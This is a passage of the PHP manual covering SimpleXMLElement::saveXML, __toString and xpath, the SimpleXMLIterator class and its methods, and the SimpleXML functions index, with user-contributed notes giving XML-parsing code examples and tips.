  • ? SimpleXMLElement::registerXPathNamespace
  • SimpleXMLElement::__toString ?
  • PHP Manual
  • SimpleXMLElement
  • 别名 SimpleXMLElement::asXML

SimpleXMLElement::saveXML

(PHP 5 >= 5.2.0, PHP 7)

SimpleXMLElement::saveXML — 别名 SimpleXMLElement::asXML()

说明

此方法是该方法的别名： SimpleXMLElement::asXML()

User Contributed Notes

There are no user contributed notes for this page.


Returns the string content

  • ? SimpleXMLElement::saveXML
  • SimpleXMLElement::xpath ?
  • PHP Manual
  • SimpleXMLElement
  • Returns the string content

SimpleXMLElement::__toString

(PHP 5 >= 5.3.0, PHP 7)

SimpleXMLElement::__toString — Returns the string content

说明

public SimpleXMLElement::__toString ( void ) : string

Returns text content that is directly in this element. Does not return text content that is inside this element's children.

参数

此函数没有参数。

返回值

Returns the string content on success or an empty string on failure.

范例

Example #1 Get string content

<?php
$xml = new SimpleXMLElement('<a>1 <b>2 </b>3</a>');
echo $xml;
?>

以上例程会输出：

1 3

参见

  • SimpleXMLElement::asXML() - Return a well-formed XML string based on SimpleXML element

User Contributed Notes

mmj at example dot net 02-Oct-2017 03:22
__toString() is not intended to be called directly.

Instead, it defines what is returned when the object is cast to string, either explicitly with:

(string)$element

Or implicitly, when used in certain contexts which would cause a conversion to string.
Patanjali 27-Mar-2016 10:55
[Someone remove that other Patanjali's note, because it has errors! :-(]

For those for whom it may not be immediately obvious from the example, the echo is what is forcing __toString() to be used.

However, to assign the text of a node (but not its children) to a variable:

$XML = new SimpleXMLElement('<p>Hello<span> world</span>.<span> Good day!</span></p>');

$Text = $XML->__toString();

is effectively:
$Text = 'Hello.'; // The <span>s are ignored.

Either of:
$Text = $XML->span->__toString();
$Text = $XML->span[0]->__toString();

is effectively:
$Text = ' world'; // Only the first <span> is used.

$Text = $XML->span[1]->__toString();

is effectively:
$Text = ' Good day!'; // Only the second <span> is used.
Patanjali 27-Mar-2016 10:36
For those for whom it may not be immediately obvious from the example, to assign the text of a node (but not its children) to a variable:

$XML = new SimpleXMLElement('<p>Hello<span> world</span>.<span> Good day!</span></p>');

Either:
$Text = $XML;
$Text = $XML->__String();

is effectively:
$Text = 'Hello.'; // The <span>s are ignored.

Either of:
$Text = $XML->span;
$Text = $XML->span[0];

is effectively:
$Text = ' world'; // Only the first <span> is used.

$Text = $XML->span[1];

is effectively:
$Text = ' Good day!'; // Only the second <span> is used.


Runs XPath query on XML data

  • ? SimpleXMLElement::__toString
  • SimpleXMLIterator ?
  • PHP Manual
  • SimpleXMLElement
  • Runs XPath query on XML data

SimpleXMLElement::xpath

(PHP 5, PHP 7)

SimpleXMLElement::xpath — Runs XPath query on XML data

说明

public SimpleXMLElement::xpath ( string $path ) : array

The xpath method searches the SimpleXML node for children matching the XPath path.

参数

path

An XPath path

返回值

Returns an array of SimpleXMLElement objects or FALSE in case of an error.

范例

Example #1 Xpath

<?php
$string = <<<XML
<a>
 <b>
  <c>text</c>
  <c>stuff</c>
 </b>
 <d>
  <c>code</c>
 </d>
</a>
XML;

$xml = new SimpleXMLElement($string);

/* Search for <a><b><c> */
$result = $xml->xpath('/a/b/c');

while(list( , $node) = each($result)) {
    echo '/a/b/c: ',$node,"\n";
}

/* Relative paths also work... */
$result = $xml->xpath('b/c');

while(list( , $node) = each($result)) {
    echo 'b/c: ',$node,"\n";
}
?>

以上例程会输出：

/a/b/c: text
/a/b/c: stuff
b/c: text
b/c: stuff

Notice that the two results are equal.

参见

  • SimpleXMLElement::registerXPathNamespace() - Creates a prefix/ns context for the next XPath query
  • SimpleXMLElement::getDocNamespaces() - Returns namespaces declared in document
  • SimpleXMLElement::getNamespaces() - Returns namespaces used in document
  • Basic SimpleXML usage

User Contributed Notes

awoerl at contentserv dot com 31-Jan-2017 12:43
I tried to use string functions in the xpath statements I'm passing, like

$oXml->xpath('substring(/foo/bar/text(), 0, 4)');

But no matter which syntax I'm trying I never the string functions to work.

Is it possible, that the xpath method does not support function calls?
Alexis Peters 11-Oct-2016 09:11
If you want this behavior for an multidimensional array you can use this:

<?php
function apath(&$a, $path, $value = NULL) {
    $pathes = explode('/',$path);

    if(count($pathes) > 1) {
        $firstPart = array_shift($pathes);
        if(!isset($a[$firstPart])) {
            $a[$firstPart] = array();
        }
        return apath($a[$firstPart], implode('/', $pathes), $value);
    } else {
        if($value){
            $a[$path] = $value;
        } else {
            return $a[$path];
        }
    }
}

apath($a, 'user/name', array('prename' => 'foo', 'lastname' => 'bar'));

$a = array();
var_dump($a);
var_dump(apath($a, 'user/name/lastname'));

?>
Gives you this:

array(1) {
  ["user"]=>
  array(1) {
    ["name"]=>
    array(2) {
      ["prename"]=>
      string(5) "foo"
      ["lastname"]=>
      string(8) "bar"
    }
  }
}
string(8) "bar"
Anonymous 30-Jan-2015 05:30
As mentioned already xpath will fail is the default namespace 'xmlns' is used like in:

<?php

$xmlstring = $string = <<<XML
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">
    <fileVersion appName="xl" />
</workbook>
XML;
?>

xpath cannot search through the xml without explicitly specifying a namespace.
There are 2 options :
1. rename the 'xmlns' into something else to trick xpath into believing that no default namespace is defined.
2. register a string as the default namespace and use that string in all your queries. Unfortunatly, an empty space will not work.
No other option currently exist until XPath2.0 becomes the default library.
leonjanzen at gmail dot com 19-Oct-2014 07:48
To run an xpath query on an XML document that has a namespace, the namespace must be registered with SimpleXMLElement::registerXPathNamespace() before running the query. If the XML document namespace does not include a prefix, you must make up an arbitrary one, and then use it in your query.

<?php
$strXml= <<<XML
<?xml version="1.0" encoding="UTF-8"?>
<mydoc xmlns="http://www.url.com/myns">
    <message>Test message</message>
</mydoc>
XML;

$xmlDoc=new \SimpleXMLElement($strXml);

foreach($xmlDoc->getDocNamespaces() as $strPrefix => $strNamespace) {
    if(strlen($strPrefix)==0) {
        $strPrefix="a"; //Assign an arbitrary namespace prefix.
    }
    $xmlDoc->registerXPathNamespace($strPrefix,$strNamespace);
}

print($xmlDoc->xpath("//a:message")[0]); //Use the arbitrary namespace prefix in the query.
?>

This will output:

Test message
BenjaminBeck at gmx dot de 13-Sep-2014 01:36
If you want to search multiple values from xml on the behalf or one value then this code can be helpfull to you.

if there is:
<Record>
  <country>Pakistan</country>
  <code>+92</code>
  <Value>100<Value>
</Record>

then try this one:
<?php
$sxe =  simplexml_load_file("countries.XML");
foreach($sxe->xpath('//RECORD') as $item) {

    $v = $row->xpath('./country[. ="Pakistan"]');
    if($v[0]){
        print $item->country;
        print $item->code;
        print $item->value;
    }

}
?>
yetihehe at yetihehe dot com 12-Jan-2011 02:21
Xpath actually knows which element is root regardless of element on which you execute it. Example:

<?php

$string = <<<XML
<a>
 <b>
  <c>text</c>
  <c>stuff</c>
 </b>
 <b>
  <c>code</c>
 </b>
</a>
XML;

header('content-type: text/plain');

$xml = new SimpleXMLElement($string);

//relative to root
$b0=$xml->b[0]->xpath('//c');
while(list( , $node) = each($b0)) {
    echo 'b[0]: //c: ',$node,"\n";
}

$b1=$xml->b[1]->xpath('//c');
while(list( , $node) = each($b1)) {
    echo 'b[1]: //c: ',$node,"\n";
}

echo "\n";

//relative to current element
$b0=$xml->b[0]->xpath('.//c');
while(list( , $node) = each($b0)) {
    echo 'b[0]: .//c: ',$node,"\n";
}

$b1=$xml->b[1]->xpath('.//c');
while(list( , $node) = each($b1)) {
    echo 'b[1]: .//c: ',$node,"\n";
}

?>

Will return:
b[0]: //c: text
b[0]: //c: stuff
b[0]: //c: code
b[1]: //c: text
b[1]: //c: stuff
b[1]: //c: code

b[0]: .//c: text
b[0]: .//c: stuff
b[1]: .//c: code
stefan at efectos dot nl 09-Nov-2010 02:33
Having problems selecting information through xpath when there are namespaces in the XML?

Try this quick and dirty solution, but it works:

<?php
$objImageXml = new SimpleXMLElement($objImageXml->asXML());
?>
grummfy at gmail dot com 11-Feb-2010 04:08
On a xml that have namespace you need to do this before your xpath request (or empty array will be return) :

<?php
$string = str_replace('xmlns=', 'ns=', $string); //$string is a string that contains xml...
?>
DrupalFocus at earthlink dot net 02-Dec-2009 12:27
Looks like the relative path is relative to the SimpleXMLElement object that you call the Xpath() method on.  Basically chopping off the root element.

<?php
$string = <<<XML
<foo>
  <bar>
    <a>
     <b>
      <c>text</c>
      <c>stuff</c>
     </b>
     <d>
      <c>code</c>
     </d>
    </a>
  </bar>
</foo>
XML;

$xml = new SimpleXMLElement($string);
/* Search for children using 2nds level relative <bar><a><b><c> */
$result = $xml->xpath('a/b/c');
if ($result)
foreach($result as $node) {
    drupal_set_message(t('a/b/c: @node.', array('@node' => $node)));
}
else
  drupal_set_message(t('a/b/c: failed.'));

/* it relative to the SimpleXMLElement Search for 2nds level relative <bar><a><b><c> but where is foo */
$bar = $xml->bar;
$result = $bar->xpath('a/b/c');
foreach($result as $node) {
    drupal_set_message(t('bar->a/b/c: @node.', array('@node' => $node)));
}
?>

results in :
#
# a/b/c: failed.
# bar->a/b/c: text.
# bar->a/b/c: stuff.
behnam@zwnj 24-Sep-2009 01:34
Seems like this function cannot return the result of XPath string() [1] function.  For example if you query xpath("string(a/@b)") you will get bool(false) although the node "a" may have the attribute "b" set to a non-empty string.

[1] http://www.w3.org/TR/xpath#section-String-Functions
Anti Veeranna 17-Jun-2009 03:50
Whether it returns a false or empty array for a non-existing path seems to depend on libxml version.

I tried the following code:

<?php
$data = '<foo><bar></bar></foo>';
$xml = simplexml_load_string($data);
print gettype($xml->xpath('/first/second'));
?>

On a machine with libxml 2.6.16 and PHP 5.2.8 I got back boolean. On a different machine with libxml 2.7.3 and PHP 5.2.8/5.2.9 I got back empty array.

You can check the libxml version from command line by executing: php --ri libxml

or simply look at phpinfo() output
arealzone-czernobyl at yahoo dot de 11-Jun-2009 03:23
The simplest way to count nodes in a XML doc:

<?php
$xml = new SimpleXMLElement($xmlstr);

$xmlNode = $xml->xpath('root/yourNodeName');
$nodeCount = count($xmlNode);

echo $nodeCount;
?>
anemik 02-Jul-2008 03:46
If you want to find easly all records satisfying some condition in XML data like

....
   <book id="bk101">
      <author>Gambardella, Matthew</author>
      <title>XML Developer's Guide</title>
      <genre>Computer</genre>
      <price>44.95</price>
   </book>
   <book id="bk102">
      <author>Ralls, Kim</author>
      <title>Midnight Rain</title>
      <genre>Fantasy</genre>
      <price>5.95</price>
   </book>
...

try example below

<?php

$xmlStr = file_get_contents('data/books.xml');
$xml = new SimpleXMLElement($xmlStr);
// seach records by tag value:
// find all book records with price higher than 40$
$res = $xml->xpath("book/price[.>'40']/parent::*");
print_r($res);

?>

You will see response like:
Array (
[0] => SimpleXMLElement Object
        (
            [@attributes] => Array
                (
                    [id] => bk101
                )

            [author] => Gambardella, Matthew
            [title] => XML Developer's Guide
            [genre] => Computer
            [price] => 44.95
            [publish_date] => 2000-10-01
            [description] => An in-depth look at creating applications
      with XML.
        )
...
paul at pmtlogic dot com 18-Jun-2008 12:17
xpath doesn't seem to be able to handle single quotes embedded in the query itself. For instance, I want to find geo coordinates in an xml file based on country name.

xml snippet:

<zones>
<zone country="Cote d'Ivoire" fullName="Yamoussoukro" geo="6.82,-5.28" id="1050"><url prefix="1001" value="fiji.html" /><url prefix="1002" value="C" /></zone>
</zones>

The following code does not work:

<?php
$xml = simplexml_load_file("my.xml");
$result = $xml->xpath("//zone[@country='Cote d\'Ivoire']");

foreach ( $result[0]->attributes() as $key => $val ) {
    print "<div class='coords'>$key: $val</div>\n";
}
?>

I have tried many variations on the embedded single quote (i.e. escape codes) but with no result. W3C offers no explanation either.

In addition, there doesn't seem to be any way of embedding wildcards in the attribute value (you can embed wildcards in the attribute name). Otherwise the following might be a reasonable substitute in this context:

<?php $result = $xml->xpath("//zone[@country='Cote d*Ivoire']"); ?>
canuemail at gmail dot com 05-May-2008 05:05
If you want to search multiple values from xml on the behalf or one value then this code can be helpfull to you.

if there is:
<Record>
  <country>Pakistan</country>
  <code>+92</code>
  <Value>100<Value>
</Record>

then try this one:
<?php
$sxe =  simplexml_load_file("countries.XML");
foreach($sxe->xpath('//RECORD') as $item) {

    $row = simplexml_load_string($item->asXML());
    $v = $row->xpath('//country[. ="Pakistan"]');
    if($v[0]){
        print $item->country;
        print $item->code;
        print $item->value;
    }

}
?>
Hugh 18-Dec-2005 03:23
Note that this function does not ALWAYS return an array. It seems that if the specified path is not found in the document, it will return false. You need to check for the false value before using foreach, if you wish to avoid a warning (and often to handle errors or control program flow in this situation).
drewish at katherinehouse dot com 10-Jul-2005 06:16
xpath() can also be used to select elements by their attributes. For a good XPath reference check out: http://www.w3schools.com/xpath/xpath_syntax.asp

<?php
$string = <<<XML
<sizes>
    <size label="Square" width="75" height="75" />
    <size label="Thumbnail" width="100" height="62" />
    <size label="Small" width="112" height="69" />
    <size label="Large" width="112" height="69" />
</sizes>
XML;

$xml = simplexml_load_string($string);
$result = $xml->xpath("//size[@label='Large']");

// print the first (and only) member of the array
echo $result[0]->asXml();
?>

The script would print:
<size label="Large" width="112" height="69"/>


The SimpleXMLIterator class

(PHP 5 >= 5.1.3, PHP 7)

简介

The SimpleXMLIterator provides recursive iteration over all nodes of a SimpleXMLElement object.

类摘要

SimpleXMLIterator extends SimpleXMLElement implements RecursiveIterator , Countable {
/* 方法 */
public current ( void ) : mixed
public getChildren ( void ) : SimpleXMLIterator
public hasChildren ( void ) : bool
public key ( void ) : mixed
public next ( void ) : void
public rewind ( void ) : void
public valid ( void ) : bool
/* 继承的方法 */
final public SimpleXMLElement::__construct ( string $data [, int $options = 0 [, bool $data_is_url = FALSE [, string $ns = "" [, bool $is_prefix = FALSE ]]]] )
public SimpleXMLElement::addAttribute ( string $name [, string $value [, string $namespace ]] ) : void
public SimpleXMLElement::addChild ( string $name [, string $value [, string $namespace ]] ) : SimpleXMLElement
public SimpleXMLElement::asXML ([ string $filename ] ) : mixed
public SimpleXMLElement::attributes ([ string $ns = NULL [, bool $is_prefix = FALSE ]] ) : SimpleXMLElement
public SimpleXMLElement::children ([ string $ns [, bool $is_prefix = FALSE ]] ) : SimpleXMLElement
public SimpleXMLElement::count ( void ) : int
public SimpleXMLElement::getDocNamespaces ([ bool $recursive = FALSE [, bool $from_root = TRUE ]] ) : array
public SimpleXMLElement::getName ( void ) : string
public SimpleXMLElement::getNamespaces ([ bool $recursive = FALSE ] ) : array
public SimpleXMLElement::registerXPathNamespace ( string $prefix , string $ns ) : bool
public SimpleXMLElement::__toString ( void ) : string
public SimpleXMLElement::xpath ( string $path ) : array
}

Table of Contents

  • SimpleXMLIterator::current — Returns the current element
  • SimpleXMLIterator::getChildren — Returns the sub-elements of the current element
  • SimpleXMLIterator::hasChildren — Checks whether the current element has sub elements
  • SimpleXMLIterator::key — Return current key
  • SimpleXMLIterator::next — Move to next element
  • SimpleXMLIterator::rewind — Rewind to the first element
  • SimpleXMLIterator::valid — Check whether the current element is valid

User Contributed Notes

There are no user contributed notes for this page.


Returns the current element

  • ? SimpleXMLIterator
  • SimpleXMLIterator::getChildren ?
  • PHP Manual
  • SimpleXMLIterator
  • Returns the current element

SimpleXMLIterator::current

(PHP 5, PHP 7)

SimpleXMLIterator::current — Returns the current element

说明

public SimpleXMLIterator::current ( void ) : mixed

This method returns the current element as a SimpleXMLIterator object or NULL.

参数

此函数没有参数。

返回值

Returns the current element as a SimpleXMLIterator object or NULL on failure.

范例

Example #1 Return the current element

<?php
$xmlIterator = new SimpleXMLIterator('<books><book>PHP basics</book><book>XML basics</book></books>');
var_dump($xmlIterator->current());

$xmlIterator->rewind(); // rewind to first element
var_dump($xmlIterator->current());
?>

以上例程会输出：

NULL
object(SimpleXMLIterator)#2 (1) {
  [0]=>
  string(10) "PHP basics"
}

参见

  • SimpleXMLIterator::key() - Return current key
  • SimpleXMLIterator::next() - Move to next element
  • SimpleXMLIterator::rewind() - Rewind to the first element
  • SimpleXMLIterator::valid() - Check whether the current element is valid
  • SimpleXMLElement

User Contributed Notes

bmafzallmahmud at gmail dot com 02-Dec-2017 05:51
<?php
$note=<<<XML
<note>
<to>Afzall</to>
<from>Hasan</from>
<heading>Reminder</heading>
<body>Don't forget your parents</body>
</note>
XML;

$xmlIterator = new SimpleXMLIterator($note);
var_dump($xmlIterator->current()); //out put : NULL
var_dump($xmlIterator->rewind()); //out put null
$xmlIterator->rewind(); //beacse of rewind to first element then show "$xmlIterator->current()""
var_dump($xmlIterator->current());
 //out put : object(SimpleXMLIterator)#2 (1) { [0]=> string(6) "Afzall" }
?>


Returns the sub-elements of the current element

  • ? SimpleXMLIterator::current
  • SimpleXMLIterator::hasChildren ?
  • PHP Manual
  • SimpleXMLIterator
  • Returns the sub-elements of the current element

SimpleXMLIterator::getChildren

(PHP 5, PHP 7)

SimpleXMLIterator::getChildren — Returns the sub-elements of the current element

说明

public SimpleXMLIterator::getChildren ( void ) : SimpleXMLIterator

This method returns a SimpleXMLIterator object containing sub-elements of the current SimpleXMLIterator element.

参数

此函数没有参数。

返回值

Returns a SimpleXMLIterator object containing the sub-elements of the current element.

范例

Example #1 Return the sub-elements of the current element

<?php
$xml = <<<XML
<books>
    <book>
        <title>PHP Basics</title>
        <author>Jim Smith</author>
    </book>
    <book>XML basics</book>
</books>
XML;

$xmlIterator = new SimpleXMLIterator($xml);
for( $xmlIterator->rewind(); $xmlIterator->valid(); $xmlIterator->next() ) {
    foreach($xmlIterator->getChildren() as $name => $data) {
    echo "The $name is '$data' from the class " . get_class($data) . "\n";
    }
}
?>

以上例程会输出：

The title is 'PHP Basics' from the class SimpleXMLIterator
The author is 'Jim Smith' from the class SimpleXMLIterator

User Contributed Notes

There are no user contributed notes for this page.


Checks whether the current element has sub elements

  • ? SimpleXMLIterator::getChildren
  • SimpleXMLIterator::key ?
  • PHP Manual
  • SimpleXMLIterator
  • Checks whether the current element has sub elements

SimpleXMLIterator::hasChildren

(PHP 5, PHP 7)

SimpleXMLIterator::hasChildren — Checks whether the current element has sub elements

说明

public SimpleXMLIterator::hasChildren ( void ) : bool

This method checks whether the current SimpleXMLIterator element has sub-elements.

参数

此函数没有参数。

返回值

TRUE if the current element has sub-elements, otherwise FALSE

范例

Example #1 Check whether the current element has sub-elements

<?php
$xml = <<<XML
<books>
    <book>
        <title>PHP Basics</title>
        <author>Jim Smith</author>
    </book>
    <book>XML basics</book>
</books>
XML;

$xmlIterator = new SimpleXMLIterator( $xml );
for( $xmlIterator->rewind(); $xmlIterator->valid(); $xmlIterator->next() ) {
    if($xmlIterator->hasChildren()) {
        var_dump($xmlIterator->current());
    }
}
?>

以上例程会输出：

object(SimpleXMLIterator)#2 (2) {
  ["title"]=>
  string(10) "PHP Basics"
  ["author"]=>
  string(9) "Jim Smith"
}

User Contributed Notes

grummfy at gmail dot com 12-Feb-2010 01:01
Hello,

just a note for people like me who encounter the problems :

<?php
foreach($xmlIterator as $x)
{
    if($x->hasChildren())
    {
        //never reach
        echo 'x : ';
        var_dump($x->current());
    }
    if($xmlIterator->hasChildren())
    {
        echo 'iterator : ';
        var_dump($x->current()); //all time null
        var_dump($xmlIterator->current());
    }
}
?>


Return current key

  • ? SimpleXMLIterator::hasChildren
  • SimpleXMLIterator::next ?
  • PHP Manual
  • SimpleXMLIterator
  • Return current key

SimpleXMLIterator::key

(PHP 5, PHP 7)

SimpleXMLIterator::key — Return current key

说明

public SimpleXMLIterator::key ( void ) : mixed

This method gets the XML tag name of the current element.

参数

此函数没有参数。

返回值

Returns the XML tag name of the element referenced by the current SimpleXMLIterator object or FALSE

范例

Example #1 Get the current XML tag key

<?php
$xmlIterator = new SimpleXMLIterator('<books><book>PHP basics</book><book>XML basics</book></books>');

echo var_dump($xmlIterator->key());
$xmlIterator->rewind(); // rewind to the first element
echo var_dump($xmlIterator->key());

?>

以上例程会输出：

bool(false)
string(4) "book"

User Contributed Notes

bmafzallmahmud at gmail dot com 01-Dec-2017 09:04
<?php
$note=<<<XML
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
XML;

$xmlIterator = new SimpleXMLIterator($note);
for( $xmlIterator->rewind(); $xmlIterator->valid(); $xmlIterator->next() ) {
      echo "<pre>";
     echo var_dump($xmlIterator->key());

}
?>
out put :
string(2) "to"
string(4) "from"
string(7) "heading"
string(4) "body"


Move to next element

  • ? SimpleXMLIterator::key
  • SimpleXMLIterator::rewind ?
  • PHP Manual
  • SimpleXMLIterator
  • Move to next element

SimpleXMLIterator::next

(PHP 5, PHP 7)

SimpleXMLIterator::next — Move to next element

说明

public SimpleXMLIterator::next ( void ) : void

This method moves the SimpleXMLIterator to the next element.

参数

此函数没有参数。

返回值

没有返回值。

范例

Example #1 Move to the next element

<?php
$xmlIterator = new SimpleXMLIterator('<books><book>PHP Basics</book><book>XML basics</book></books>');
$xmlIterator->rewind(); // rewind to the first element
$xmlIterator->next();

var_dump($xmlIterator->current());
?>

以上例程会输出：

object(SimpleXMLIterator)#2 (1) {
  [0]=>
  string(10) "XML basics"
}

User Contributed Notes

bmafzallmahmud at gmail dot com 01-Dec-2017 09:39
<?php
$note=<<<XML
<note>
<to>Afzall</to>
<from>Sumon</from>
<heading>Reminder</heading>
<body>Don't forget go to kishorgong</body>
</note>
XML;

$xmlIterator = new SimpleXMLIterator($note);
$xmlIterator->rewind();
var_dump($xmlIterator->current());
$xmlIterator->next();
var_dump($xmlIterator->current());
$xmlIterator->next();
var_dump($xmlIterator->current());
?>
out put :
object(SimpleXMLIterator)#2 (1) {
  [0]=>
  string(6) "Afzall"
}
object(SimpleXMLIterator)#2 (1) {
  [0]=>
  string(5) "Sumon"
}
object(SimpleXMLIterator)#2 (1) {
  [0]=>
  string(8) "Reminder"
}


Rewind to the first element

  • ? SimpleXMLIterator::next
  • SimpleXMLIterator::valid ?
  • PHP Manual
  • SimpleXMLIterator
  • Rewind to the first element

SimpleXMLIterator::rewind

(PHP 5, PHP 7)

SimpleXMLIterator::rewind — Rewind to the first element

说明

public SimpleXMLIterator::rewind ( void ) : void

This method rewinds the SimpleXMLIterator to the first element.

参数

此函数没有参数。

返回值

没有返回值。

范例

Example #1 Rewind to the first element

<?php
$xmlIterator = new SimpleXMLIterator('<books><book>PHP Basics</book><book>XML Basics</book></books>');
$xmlIterator->rewind();

var_dump($xmlIterator->current());
?>

以上例程会输出：

object(SimpleXMLIterator)#2 (1) {
  [0]=>
  string(10) "PHP Basics"
}

User Contributed Notes

There are no user contributed notes for this page.


Check whether the current element is valid

  • ? SimpleXMLIterator::rewind
  • SimpleXML 函数 ?
  • PHP Manual
  • SimpleXMLIterator
  • Check whether the current element is valid

SimpleXMLIterator::valid

(PHP 5, PHP 7)

SimpleXMLIterator::valid — Check whether the current element is valid

说明

public SimpleXMLIterator::valid ( void ) : bool

This method checks if the current element is valid after calls to SimpleXMLIterator::rewind() or SimpleXMLIterator::next().

参数

此函数没有参数。

返回值

Returns TRUE if the current element is valid, otherwise FALSE

范例

Example #1 Check whether the current element is valid

<?php
$xmlIterator = new SimpleXMLIterator('<books><book>SQL Basics</book></books>');

$xmlIterator->rewind(); // rewind to the first element
echo var_dump($xmlIterator->valid()); // bool(true)

$xmlIterator->next(); // advance to the next element
echo var_dump($xmlIterator->valid()); // bool(false) because there is only one element
?>

User Contributed Notes

There are no user contributed notes for this page.


SimpleXML 函数

Table of Contents

  • simplexml_import_dom — Get a SimpleXMLElement object from a DOM node
  • simplexml_load_file — Interprets an XML file into an object
  • simplexml_load_string — Interprets a string of XML into an object

User Contributed Notes

Pyetro Costa [pyetrosafe at gmail dot com] 07-Dec-2018 08:48
After viewing the xml2array function of "http://www.php.net/manual/en/ref.simplexml.php#103617" and the "http://php.net/manual/en/ref.simplexml.php # 112038 "and still have made a change to convert empty tags to null ... I felt the need to work with the result as an object, keeping arrays like arrays. Arriving at this function:
<?php

    private function xml2Object($xmlObject, $out = null) {
        $out = (is_object($xmlObject) ? new \stdClass : array());
        foreach ((array) $xmlObject as $index => $node )
            if (is_array($out)) {
                $out[$index] = (is_object($node) || is_array($node)) ? (($node instanceof \SimpleXMLElement) && count((array) $node)==0 ? null : $this->xml2Object($node)) : $node;
            } else
                $out->{$index} = (is_object($node) || is_array($node)) ? (($node instanceof \SimpleXMLElement) && count((array) $node)==0 ? null : $this->xml2Object($node)) : $node;
        return $out;
    }
?>

And the results of function can be seen below:
<?php
    $xml = simplexml_load_string('<?xml version="1.0" encoding="UTF-8" standalone="no"?><results><l1_elm1><l2_elm1>Some Text</l2_elm1><l2_elm2/></l1_elm1><l1_elm2><l2_elm1><l3_elm1>Array Index[0] - First property</l3_elm1><l3_elm2>Array Index[0] - Second property</l3_elm2><l3_elm3>Array Index[0] - Third property</l3_elm3></l2_elm1><l2_elm1><l3_elm1>Array Index[1] - First property</l3_elm1><l3_elm2>Array Index[1] - Second property</l3_elm2><l3_elm3>Array Index[1] - Third property</l3_elm3></l2_elm1></l1_elm2><l1_elm3/></results>');

    var_dump( $this->xml2Object($xml) );

    // var_dump xml2Object results
    object(stdClass)#339 (3) {
      ["l1_elm1"]=>object(stdClass)#344 (2) {
        ["l2_elm1"]=>string(9) "Some Text"
        ["l2_elm2"]=>NULL
      }
      ["l1_elm2"]=>object(stdClass)#347 (1) {
        ["l2_elm1"]=>array(2) {
          [0]=>object(stdClass)#348 (3) {
            ["l3_elm1"]=>string(31) "Array Index[0] - First property"
            ["l3_elm2"]=>string(32) "Array Index[0] - Second property"
            ["l3_elm3"]=>string(31) "Array Index[0] - Third property"
          }
          [1]=>object(stdClass)#349 (3) {
            ["l3_elm1"]=>string(31) "Array Index[1] - First property"
            ["l3_elm2"]=>string(32) "Array Index[1] - Second property"
            ["l3_elm3"]=>string(31) "Array Index[1] - Third property"
          }
        }
      }
      ["l1_elm3"]=>NULL
    }

    // VarDump Symphony xml2Object results something like
    object (#345) {
      +"l1_elm1": object (#339) {
        +"l2_elm1": "Some Text"
        +"l2_elm2": null
      }
      +"l1_elm2": object (#347) {
        +"l2_elm1": array(2) {
          [0] => object (#348) {
            +"l3_elm1": "Array Index[0] - First property"
            +"l3_elm2": "Array Index[0] - Second property"
            +"l3_elm3": "Array Index[0] - Third property"
          }
          [1] => object (#349) {
            +"l3_elm1": "Array Index[1] - First property"
            +"l3_elm2": "Array Index[1] - Second property"
            +"l3_elm3": "Array Index[1] - Third property"
          }
        ]
      }
      +"l1_elm3": null
    }
?>
Pyetro Costa [pyetrosafe at gmail dot com] 07-Dec-2018 02:55
This is just a new adjustment to the http://php.net/manual/en/ref.simplexml.php#112038 's function.

Adding the check by is_array has increased the conversion to lower levels by at least 3 levels, however empty Tags are converted to SimpleXMLElement class objects, adding a type and size check, convert these empty Tags to null.

See example:
<?php
    // The http://php.net/manual/en/ref.simplexml.php#112038 's function
    function xml2array($xmlObject, $out = array ()) {
        foreach ((array) $xmlObject as $index => $node )
            $out[$index] = (is_object($node) || is_array($node)) ? xml2array($node) : $node;
        return $out;
    }

    $xml = simplexml_load_string('<?xml version="1.0" encoding="UTF-8" standalone="no"?><results><level1><l1_elm1><level2><l2_elm1>Some Text</l2_elm1><l2_elm2/></level2></l1_elm1><l1_elm2>Other String</l1_elm2><l1_elm3/></level1></results>');
    $XML2Array = xml2array($xml);
    var_dump($xml);
    var_dump($XML2Array);

    // The result is like bellow
    // simplexml_load_string results
    object(SimpleXMLElement)#227 (1) {
      ["level1"]=>object(SimpleXMLElement)#226 (3) {
        ["l1_elm1"]=>object(SimpleXMLElement)#236 (1) {
          ["level2"]=>object(SimpleXMLElement)#238 (2) {
            ["l2_elm1"]=>string(9) "Some Text"
            ["l2_elm2"]=>object(SimpleXMLElement)#239 (0) {}
          }
        }
        ["l1_elm2"]=>string(12) "Other String"
        ["l1_elm3"]=>object(SimpleXMLElement)#237 (0) {}
      }
    }

    // xml2array function results
    array(1) {
      ["level1"]=>array(3) {
        ["l1_elm1"]=>array(1) {
          ["level2"]=>array(2) {
            ["l2_elm1"]=>string(9) "Some Text"
            ["l2_elm2"]=>array(0) {}
          }
        }
        ["l1_elm2"]=>string(12) "Other String"
        ["l1_elm3"]=>array(0) {}
      }
    }
?>

Now, check node type and size, if node instanceof SimpleXMLElement and count == 0, set null to value (or empty string "" as you prefer);
<?php
    function xml2array($xmlObject, $out = array ()) {
        foreach ((array) $xmlObject as $index => $node )
            $out[$index] = (is_object($node) || is_array($node)) ? (($node instanceof \SimpleXMLElement) && count((array) $node)==0 ? null : xml2array($node)) : $node;
        return $out;
    }

    $xml = simplexml_load_string('<?xml version="1.0" encoding="UTF-8" standalone="no"?><results><level1><l1_elm1><level2><l2_elm1>Some Text</l2_elm1><l2_elm2/></level2></l1_elm1><l1_elm2>Other String</l1_elm2><l1_elm3/></level1></results>');
    var_dump(xml2array($xml));

    // And now the result is like bellow
    array(1) {
      ["level1"]=>array(3) {
        ["l1_elm1"]=>array(1) {
          ["level2"]=>array(2) {
            ["l2_elm1"]=>string(9) "Some Text"
            ["l2_elm2"]=>NULL
          }
        }
        ["l1_elm2"]=>string(12) "Other String"
        ["l1_elm3"]=>NULL
      }
    }
?>
brandonkirsch at gmail dot com 09-Sep-2013 07:41
Contrary to other notes posted here, SimpleXML *DOES NOT* properly handle non-UTF8 encoded XML documents.

A proper "iso-8859-1" declared and encoded XML document will not parse with SimpleXML for PHP 5.2.17 or 5.5.1 when using extended characters (that is, byte values greater than 127)

DOMDocument, on the other hand, will correctly parse incoming iso-8859-1 XML documents and can also be used to perform character translation to UTF8:

$dom = new DOMDocument();

if($dom->loadXML($fileContents)){ // $fileContents is an XML document with iso-8859-1 encoding specified in the declaration
            $dom->encoding = 'utf-8'; // convert document encoding to UTF8
            return $dom->saveXML(); // return valid, utf8-encoded XML
William Fahria 15-Jul-2013 07:34
A simple implementation:
You can inform a direct XML in text format to the function.

